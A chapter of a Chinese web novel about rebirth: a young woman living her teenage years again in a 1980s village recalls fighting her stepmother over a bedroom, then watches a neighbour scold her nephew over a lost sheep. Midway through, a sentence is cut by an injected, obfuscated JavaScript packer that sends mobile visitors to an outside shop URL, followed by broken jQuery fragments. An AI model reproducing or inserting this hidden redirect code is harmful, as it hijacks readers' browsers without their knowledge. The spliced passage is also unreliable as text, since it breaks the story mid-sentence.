杨文箐家的房子,是北方农村最典型的直筒房,也叫三间大瓦房。
粗壮的人字梁与砖土混合结构的墙面,撑起了不足八十平米的空间。
中间是厨房兼客厅,东西两侧则作为卧室。
厨房里,灶台占据了大部分面积,通常与卧室的土炕相连。这样一来,做饭时的烟火便能通过炕道给土炕取暖,堪称一举两得的设计。
不过,对于人口较多的家庭来说,在住不开的情况下,便会将土炕直接盘在中间,以便空出东西两侧的卧室,容纳更多人居住。
杨文箐家就是这种情况。
杨国强和王淑兰睡在堂屋的炕上,杨文箐和杨文励东西各占一间。
只不过,这样的布局是杨文箐自己争取来的。
最初的设计里,他们家的布局和别人家其实没什么不同——
杨国强和王淑兰住在东边的主卧,杨文箐独自住在西卧。可随着杨文励的降生,尤其是等他长到七八岁以后,再让他跟父母挤在一张炕上,显然就有些不合适了。
于是按照王淑兰的想法,是让杨文箐把西卧腾出来给杨文励住。
至于杨文箐住哪里?
王淑兰当时是这么说的:“把外面的杂物间收拾收拾,安张床不就行了?她一个姑娘家,还能在家里住几年?过几年不就嫁出去了?凑合凑合得了。”
那是杨文箐第一次和王淑兰正面对抗。
她哭着将王淑兰从卧室搬出去的东西又一样样全搬了回来,骂她是心肠歹毒的后妈,又哭着问杨国强:难道杨文励是他的孩子,自己就不是吗?凭什么杨文励长大了,她就得把卧室让给他?
也是从那时起,让她萌生了“等将来长大了,离开这个家后,就绝对不会再回来”的心思。
这件事后来还惊动了杨国盛和李芝灵,也是碍于他们的面子,王淑兰最终才松了口,接受了杨国强提出的在中间再盘一盘炕的提议。
看着这间自己当初奋力争取来的,记忆里却已经快要淡忘的卧室,杨文箐把那一盒水晶饼和五个桃酥放在窗畔的桌子上,在桌前的凳子上坐了下来。
这张梧桐木的长条桌,据说是杨国强当年迎娶李芝兰时特意找人定制的,算是李芝兰留下的为数不多的遗产之一。
桌子上还摆放着杨文箐精心制作的小卡片和一些日用品。
镜子、梳子、擦脸的雪花膏……以及用废旧书页折叠的千纸鹤。
一串串花花绿绿的,用白色的棉线穿着挂在书桌上方,仿佛一道道珠帘,为简陋的屋子平添了一份精致与巧思。
杨文箐的指尖轻轻抚过这些小物件,回溯自己少女时光的同时,那颗藏在年轻皮囊下,却已饱经沧桑伤痕累累的心,似乎也渐渐被重新唤醒。
她望着镜中的自己,恍惚间仿佛看到了当年那个单纯脆弱,却仍对世间怀有美好憧憬的小女孩。
“别怕,以后有我陪着你。”她对镜子里的自己轻声说道。
****
农村,尤其八十年代的农村,夜晚基本没有什么夜生活。
条件稍好,家里有电视机的人家,或许还能看会儿电视,但由于节目少等诸多因素,电视也早早停播。因此,天黑后吃完晚饭,最多到九点,家家户户基本就都关灯睡觉了。
杨文箐家自然也不例外。
墙上的挂钟指针一指向九点,堂屋那盏电灯就熄灭了。
可作为被现代社会“奢靡”生活荼毒过的杨文箐,一时半会儿还真不习惯这种健康的生活方式——人虽然躺在床上,眼睛却睁得老大,半丝睡意也没有。
这个时代又没有手机可刷,甚至连开灯都可能引来杨国强的询问,无奈之下,她只能干躺在床上等着睡意降临。
然而就在她好不容易刚有点睡意,稍微些迷糊时,外面却突然传来一声女人尖锐的叫骂声,顿时连这点睡意都被惊没了。
杨文箐烦躁之余侧耳听了听——
叫骂声很近,像是从隔壁院门口传来的。
“你说我要你有什么用?你到底能干点啥?!”
“白长这么大个子,就光会吃饭,连几只羊都看不住!”
“我告诉你,今儿晚上你要是不把少了的那只羊给我找回来,你就也给我滚蛋,永远别回来了!”
外面堂屋也很快亮起了灯,杨国强和王淑兰显然也被这响动吵醒了。
杨文箐听到王淑兰试图阻拦杨国强:“指定又是隔壁张桂芳在骂于向荣,整天就为那点破事,你管他干啥,安安生生睡自己的觉不行?”
杨国强压低声音说:“你没听见说是羊丢了么?都这个时候了,让向荣一个孩子上哪儿找去?都是邻居,真丢了能不帮忙找找?”
王淑兰气得翻了个身:“要帮你帮,反正我不管。”
杨国强原本也没想让她起来,穿上衣服后便轻手轻脚地自己开门出去了。
杨文箐心里不由也有些发虚。
该不会就是她之前蹬下去的那块石头,把羊给惊跑弄丢了吧?
想到这年头一只羊在对一个家庭的意义——她心头一颤,也赶忙蹑手蹑脚地从床上下来,走到窗边挑开窗帘偷偷往外看。
借着朦胧的月光,她隐约看到邻居赵丰年家院门口已经站了不少人,杨国强走过去时,这些人还跟他打招呼,显然都是和杨国强一样被吵醒的周边邻居。
人群中央,于向荣的舅妈张桂芳正一把鼻涕一把泪地向大家哭诉着。
“你们说我容易吗?丰年一出去就是大半年,家里这一大摊子全扔给我,我顾着自家俩孩子,还得顾他!”
“我也没让他干什么,就是得空的时候帮忙放放羊。他那么大个人,都十六了,让他放个羊不过分吧?可他倒好,十八只羊赶出去,就给我赶回十七只来!”
“那些羊可都是丰年借钱买的啊,是我们全部的家当,全家就指望着那几只羊过活呢。结果他给我弄丢一只!这不是要我的命吗?”
张桂芳捶胸顿足地越说越气
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632977|206462||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,干脆指着于向荣的鼻子骂道:“你是故意的对不对?你就想看我们不好过是不是?!”
于向荣原本一直低垂着脑袋,一副认错的模样,可听到这话,惊得猛地抬起头:“……当然不是!”
“不是?不是羊怎么丢了?!”
面对如此无理的指责,于向荣自然无言以对。他沉默了片刻,突然偏过头,朝杨文箐卧室所在的方向看了过来。
跟他的目光对上,杨文箐抓着窗帘的手神经质地一抖,猛地躲到了窗户后面。
她忽然有些害怕,怕于向荣会把丢羊的责任推到自己身上。
毕竟这个男人在她心里的形象早已彻底崩塌,说他是卑鄙无耻的小人都不为过,再加上他如今的处境,为了自保,把过错推到她身上也并非不可能。
况且,要是真追究起来,丢羊的事她也的确脱不了干系。
杨文箐将背靠着墙壁,闭上眼睛等着。
她甚至连张桂芳要是一会儿跑过来大闹该怎么应对都想好了。
然而,令她意外的是,于向荣却只看了一会儿便又收回了视线,随后说道:“随你怎么说,反正我不是故意的。”
“你……”张桂芳被他这句气得差点吐血,扬手就想打他一耳光。
众人赶忙拦住了。
杨国强说:“事情既然已经这样了,你光怪他也没用,后山又不大,咱们这儿又没豺狼虎豹之类的猛兽,羊指定还在山上,要不咱们都帮忙找找?”
马上有人附和:“就是,向荣又不傻,哪能真故意把羊弄丢?反正大家伙儿也都醒了,就都帮着找找吧。”
“走走走,去后山。”
众人说干就干,当即就打算去后山找羊。
张桂芳却仍觉得不解气,临走前又走到于向荣面前,指着他的鼻子咬牙切齿地说道:“就这,你还想着上高中?你做梦!”
“我告诉你,我就是把钱扔河里打水漂,也不可能给你交学费!不是我看扁你,就你这样的,上了也白上。干啥啥不行,也就丰年被猪油蒙了心,把你当个宝贝似的领回来,结果给我弄回来个祖宗!我……我上辈子真是造了孽了,摊上你这么个扫把星!”
张桂芳说完便气冲冲地跟着众人往后山去了,于向荣却像被钉在了原地,神情错愕而失落,仿佛被这几句话伤了心。
短暂的喧嚣过后,整个村庄也很快恢复了往日的宁静,空旷的夜色下,便只剩下于向荣孤零零站在月光下的身影。
时间仿佛凝固了,他就那样低着头呆呆地站着,清瘦颀长的身影在如水的月光映照下,愈发显得单薄脆弱,仿佛一阵风就能吹走似的。
杨文箐站在窗前静静地看着他。
要是换作前世,她这会儿指定心疼得不得了,哪怕冒着被王淑兰骂的风险也会出去找他,甚至还可能整夜不睡地安慰他……
然而现在——
她只面无表情地看了一会儿,随后便松开窗帘,转身回到自己床上,拉过被子蒙住了头。